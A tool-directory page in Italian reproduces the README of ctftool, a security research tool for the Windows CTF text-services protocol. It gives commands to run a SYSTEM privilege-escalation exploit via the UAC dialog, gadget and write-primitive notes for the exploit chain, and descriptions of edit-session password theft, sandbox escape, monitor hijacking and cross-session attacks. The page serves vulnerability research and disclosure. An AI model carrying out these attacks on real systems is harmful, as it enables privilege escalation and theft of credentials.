Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ctftool — Strumento di esplorazione CTF interattivo | Kitploit
Strumenti/GitHubGitHub/taviso/ctftool
Framework di ExploitFuzzingPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubtaviso/ctftool

ctftool

Strumento di esplorazione CTF interattivo

Vedi Repository
1.7k2634 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CTFTOOL

Vuoi solo testare l'exploit SYSTEM? Clicca qui.

Video of Exploit

Uno strumento interattivo per l'esplorazione di CTF

Questo è ctftool, uno strumento interattivo da riga di comando per sperimentare con CTF, un protocollo poco conosciuto utilizzato su Windows per implementare i servizi di testo. Può essere utile per studiare gli interni di Windows, il debug di problemi complessi con i processori di input di testo e l'analisi della sicurezza di Windows.

È possibile scrivere semplici script con ctftool per automatizzare l'interazione con client o server CTF, o effettuare semplici fuzzing.

Contesto

C'è un post sul blog che accompagna il rilascio di questo strumento disponibile qui.

https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html

Utilizzo

ctftool è stato testato su Windows 7, Windows 8 e Windows 10. Sono supportate le versioni a 32 bit e x64, ma x64 è stato testato più estesamente.

C'è un aiuto online per la maggior parte dei comandi, basta digitare help per vedere un elenco di comandi, e help <comando> per vedere l'aiuto dettagliato per un comando specifico.

root@kitploit:~
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.

help            - List available commands.
exit            - Exit the shell.
connect         - Connect to CTF ALPC Port.
info            - Query server informaiton.
scan            - Enumerate connected clients.
callstub        - Ask a client to invoke a function.
createstub      - Ask a client to instantiate CLSID.
hijack          - Attempt to hijack an ALPC server path.
sendinput       - Send keystrokes to thread.
setarg          - Marshal a parameter.
getarg          - Unmarshal a parameter.
wait            - Wait for a process and set it as the default thread.
thread          - Set the default thread.
sleep           - Sleep for specified milliseconds.
forget          - Forget all known stubs.
stack           - Print the last leaked stack ptr.
marshal         - Send command with marshalled parameters.
proxy           - Send command with proxy parameters.
call            - Send command without appended data.
window          - Create and register a message window.
patch           - Patch a marshalled parameter.
module          - Print the base address of a module.
module64        - Print the base address of a 64bit module.
editarg         - Change the type of a marshalled parameter.
symbol          - Lookup a symbol offset from ImageBase.
set             - Change or dump various ctftool parameters.
show            - Show the value of special variables you can use.
lock            - Lock the workstation, switch to Winlogon desktop.
repeat          - Repeat a command multiple times.
run             - Run a command.
script          - Source a script file.
print           - Print a string.
consent         - Invoke the UAC consent dialog.
reg             - Lookup a DWORD in the registry.
gadget          - Find the offset of a pattern in a file.
section         - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>

La prima cosa che vorrai fare è connetterti a una sessione e vedere quali client sono connessi.

root@kitploit:~
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)

Puoi quindi sperimentare inviando e ricevendo comandi al server, o a qualsiasi client connesso.

Compilazione

Se non vuoi compilarlo da solo, dai un'occhiata alla scheda releases

Ho usato GNU make e Visual Studio 2019 per sviluppare ctftool. Sono supportate solo build a 32 bit, poiché ciò permette allo strumento di funzionare su Windows x86 e x64.

Se tutte le dipendenze sono installate, basta digitare make in un prompt dei comandi per sviluppatori.

Uso la variante "Build Tools" di Visual Studio, e gli unici componenti che ho selezionato sono MSVC, MSBuild, CMake e l'SDK.

Questo progetto utilizza sottomoduli per alcune delle dipendenze, assicurati di usare un comando come questo per recuperare tutto il codice necessario.

root@kitploit:~
git submodule update --init --recursive

Exploit

Gli esempi funzionano solo su Windows 10 x64. Tutte le piattaforme e versioni da Windows XP in poi sono affette, ma al momento non è implementato alcun PoC.

Questo strumento è stato utilizzato per scoprire molti problemi critici di sicurezza con il protocollo CTF che esistono da decenni.

Se vuoi solo testare un exploit su Windows 10 x64 1903, esegui o fai doppio clic su ctftool.exe e inserisci questo comando:

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf

Questo attenderà la comparsa della finestra di dialogo UAC, la comprometterà e avvierà una shell.

In effetti, il codice dell'exploit è suddiviso in due fasi che puoi utilizzare indipendentemente. Ad esempio, potresti voler compromettere un processo appartenente a un utente su una sessione diversa usando i parametri opzionali di connect.

La maggior parte dei client CTF può essere compromessa, poiché il kernel costringe le applicazioni che disegnano finestre a caricare la libreria vulnerabile.

Basta connettersi a una sessione, selezionare un client da compromettere (usa i comandi scan e thread, o semplicemente wait), poi:

root@kitploit:~
ctf> script .\scripts\ctf-exploit-common-win10.ctf

Note sullo Sfruttamento

Costruire una catena di salti CFG che funzionasse sulla maggior parte dei client CTF è stato piuttosto impegnativo. Ci sono due componenti principali nell'exploit finale: una primitiva di scrittura arbitraria e poi la configurazione dei nostri registri per chiamare LoadLibrary().

Puoi usare dumpbin /headers /loadconfig per ottenere i target di branch autorizzati.

Scrittura Arbitraria

Ho bisogno di un gadget di scrittura arbitraria per creare oggetti in una posizione prevedibile. Il miglior gadget utilizzabile che sono riuscito a trovare è stato un decremento arbitrario di dword in msvcrt!_init_time.

Ciò significa che invece di impostare semplicemente i valori desiderati, dobbiamo continuare a decrementare fino a quando il LSB raggiunge il valore voluto. È molto lavoro, ma non dobbiamo mai fare più di (2^8 - 1) * len decrementi.

Decrement Write

Usando questa primitiva, costruisco un oggetto come questo in uno spazio inutilizzato nella sezione .data di kernel32. Deve far parte di un'immagine in modo da poter prevedere dove verrà mappata, poiché la randomizzazione delle immagini è per avvio su Windows.

Object Layout

C'erano (ovviamente) molti gadget di scrittura arbitraria, il problema era riguadagnare il controllo dell'esecuzione dopo la scrittura. Questo si è rivelato piuttosto impegnativo, ed è per questo che sono rimasto bloccato con un decremento di dword invece di qualcosa di più semplice.

MSCTF cattura tutte le eccezioni, quindi la sfida era trovare una scrittura arbitraria che non rovinasse lo stack in modo che SEH sopravvivesse, o che si bloccasse molto rapidamente senza causare danni.

Il gadget msvcrt!_init_time era il migliore che ho trovato; in poche istruzioni dereferenzia NULL senza corrompere ulteriore memoria. Ciò significa che possiamo ripeterlo all'infinito.

Reindirizzare l'Esecuzione

Ho trovato due gadget utili per regolare i registri. Il primo era:

root@kitploit:~
combase!CStdProxyBuffer_CF_AddRef:
      mov     rcx,qword ptr [rcx-38h]
      mov     rax,qword ptr [rcx]    
      mov     rax,qword ptr [rax+8]  
      jmp     qword ptr [combase!__guard_dispatch_icall_fptr]

E il secondo era:

root@kitploit:~
MSCTF!CCompartmentEventSink::OnChange:
      mov     rax,qword ptr [rcx+30h]
      mov     rcx,qword ptr [rcx+38h]
      jmp     qword ptr [MSCTF!_guard_dispatch_icall_fptr]

Combinando questi due gadget con l'oggetto che abbiamo formato con il nostro gadget di scrittura, possiamo reindirizzare l'esecuzione a kernel32!LoadLibraryA rimbalzando tra di loro.

Questo è stato complicato, ma la sequenza di salto funziona così:

Exploit Chain Sequence

Se sei interessato, consiglio di guardarlo in un debugger. Nota che dovrai usare il comando sxd av e sxd bpe altrimenti il debugger si fermerà per ogni scrittura!

Attacchi alle Sessioni di Modifica

Oltre alla corruzione della memoria, una classe importante di vulnerabilità esposte da CTF sono gli attacchi alle sessioni di modifica. Normalmente, un processo non privilegiato (ad esempio, a bassa integrità) non potrebbe inviare input o leggere dati da un processo ad alta integrità. Questo confine di sicurezza è chiamato UIPI, User Interface Privilege Isolation.

CTF infrange queste ipotesi e permette a processi non privilegiati di inviare input a processi privilegiati.

Ci sono alcuni requisiti perché questo attacco funzioni; per quanto ne so, funzionerà solo se hai installata una lingua di visualizzazione che utilizza un OoP TIP, processore di input di testo out-of-process. Gli utenti con lingue di input che usano IME (cinese, giapponese, coreano, ecc.) e gli utenti con strumenti di accessibilità rientrano in questa categoria.

Esempi di attacchi includono...

  • Inviare comandi a una finestra del prompt dei comandi elevata.
  • Leggere password da finestre di dialogo o dalla schermata di accesso.
  • Fuggire da sandbox IL/AppContainer inviando input a finestre non sandboxate.

C'è un script di esempio nella directory scripts che invierà input a una finestra di notepad per dimostrare come funzionano le sessioni di modifica.

Edit Session Screenshot

Hijacking del Monitor

Poiché non c'è autenticazione tra client e server nel protocollo CTF, un attaccante con i privilegi necessari per scrivere su \BaseNamedObjects può creare la porta ALPC CTF e fingere di essere il monitor.

Ciò permette di bypassare tutte le restrizioni imposte dal monitor.

Se vuoi sperimentare questo attacco, prova il comando hijack in ctftool.

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00  ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00  .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05  ............ ...
A a message received
        ProcessID: 4352, SearchUI.exe
        ThreadId: 4420
        WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00  .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00  ................
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
        WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00  ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00  ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00  ............X...
A a message received
        ProcessID: 4012, explorer.exe
        ThreadId: 780
...

Attacchi tra Sessioni

Non c'è isolamento di sessione nel protocollo CTF, qualsiasi processo può connettersi a qualsiasi server CTF. Ad esempio, un utente di Servizi Terminal può interagire con i processi di qualsiasi altro utente, persino dell'Amministratore.

Il comando connect in ctftool supporta la connessione a sessioni non predefinite se vuoi sperimentare questo attacco.

root@kitploit:~
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.

Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.

If a connection is already open, the existing connection is closed first.

If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
 Connect to the monitor for current desktop
  ctf> connect
 Connect to a specific desktop and session.
  ctf> connect Default 1
Most commands require a connection, see "help connect".

Stato

Al momento della scrittura, non è noto come Microsoft modificherà il protocollo CTF in risposta ai numerosi difetti di progettazione che questo strumento ha contribuito a esporre.

Per questo motivo, considera questo strumento in stato di proof-of-concept.

Versioni e Piattaforme Supportate

Tutte le versioni di Windows da Windows XP in poi utilizzano CTF, su tutte le piattaforme supportate.

Sebbene non fosse parte del sistema di base fino a XP, versioni come Windows 98 e NT4 utilizzavano CTF se si installava Microsoft Office.

ctftool supporta Windows 7 e successivi su x86 e x64, ma versioni precedenti e altre piattaforme potrebbero essere supportate, e i contributi sarebbero graditi.

Acronimo

Microsoft non documenta cosa significhi CTF, non è spiegato in alcuna documentazione dei servizi di testo, esempi SDK, nomi di simboli, file header o altrove. La mia teoria è che derivi da CTextFramework, come si potrebbe chiamare la classe nella notazione ungherese.

Ci sono alcuni siti web che affermano che ctfmon abbia a che fare con i Clear Type Fonts o con l'Azure Collaborative Translation Framework. Si sbagliano.

Aggiornamento: Jake Nelson trova prove per "Common Text Framework"

Autori

Tavis Ormandy [email protected]

Licenza

Tutto il codice originale è Apache 2.0, vedi il file LICENSE per i dettagli.

I seguenti componenti sono progetti di terze parti importati.

  • pe-parse, di Andrew Ruef e altri.
    • pe-parse viene utilizzato per implementare una GetProcAddress() per moduli a 64 bit da un processo a 32 bit. Viene usato nel comando symbol e permette allo stesso binario di funzionare su x64 e x86.
  • wineditline, di Paolo Tosco.
    • wineditline viene utilizzato per implementare un input da riga di comando e modifica della cronologia user-friendly.
  • dynamorio, di Derek Bruening e altri.
    • Ho preso in prestito alcuni dei prototipi e delle definizioni di tipo da DR.
  • ntdll.h, di Ladislav Zezula.
    • Ladislav ha raccolto alcune definizioni di strutture e prototipi da varie versioni di WDK, DDK e SDK in un unico file conveniente.
Scarica lo strumento